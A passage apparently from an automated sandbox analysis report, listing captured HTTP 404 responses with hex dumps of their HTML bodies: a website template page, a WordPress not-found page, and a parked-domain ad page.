2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65 73
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:01:12 GMTServer: ApacheContent-Length: 11834Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 47 69 74 61 6c 20 2d 20 44 69 67 69 74 61 6c 20 41 67 65 6e 63 79 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 26 66 61 6d 69 6c 79 3d 4a 6f 73 74 3a 77 67 68 74 40 35 30 30 3b 36 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 20 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:01:34 GMTServer: ApacheX-Powered-By: PHP/7.4.33Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://wedgetechflash.co.ke/wp-json/>; rel="https://api.w.org/"Referrer-Policy: no-referrer-when-downgradeX-Endurance-Cache-Level: 0X-nginx-cache: WordPressConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0d 0a 09 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 32 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 65 64 67 65 74 65 63 68 66 6c 61 73 68 2e 63 6f 2e 6b 65 2f 23 77 65 62 73 69 74 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 65 64 67 65 74 65 63 68 66 6c 61 73 68 2e 63 6f 2e 6b 65 2f 22 2c 22 6e 61 6d 65 22 3a 22 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 22 2c 22 64 65 73 63 72 69 Data Ascii: 4000<!DOCTYPE html><h
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:01:37 GMTServer: ApacheX-Powered-By: PHP/7.4.33Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://wedgetechflash.co.ke/wp-json/>; rel="https://api.w.org/"Referrer-Policy: no-referrer-when-downgradeX-Endurance-Cache-Level: 0X-nginx-cache: WordPressConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0d 0a 09 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 32 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 65 64 67 65 74 65 63 68 66 6c 61 73 68 2e 63 6f 2e 6b 65 2f 23 77 65 62 73 69 74 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 65 64 67 65 74 65 63 68 66 6c 61 73 68 2e 63 6f 2e 6b 65 2f 22 2c 22 6e 61 6d 65 22 3a 22 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 22 2c 22 64 65 73 63 72 69 Data Ascii: 4000<!DOCTYPE html><h
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:01:40 GMTServer: ApacheX-Powered-By: PHP/7.4.33Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://wedgetechflash.co.ke/wp-json/>; rel="https://api.w.org/"Referrer-Policy: no-referrer-when-downgradeX-Endurance-Cache-Level: 0X-nginx-cache: WordPressConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0d 0a 09 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 32 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 65 64 67 65 74 65 63 68 66 6c 61 73 68 2e 63 6f 2e 6b 65 2f 23 77 65 62 73 69 74 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 65 64 67 65 74 65 63 68 66 6c 61 73 68 2e 63 6f 2e 6b 65 2f 22 2c 22 6e 61 6d 65 22 3a 22 57 65 64 67 65 74 65 63 68 20 46 6c 61 73 68 22 2c 22 64 65 73 63 72 69 Data Ascii: 4000<!DOCTYPE html><h
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:02:40 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:02:43 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 10:02:45 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 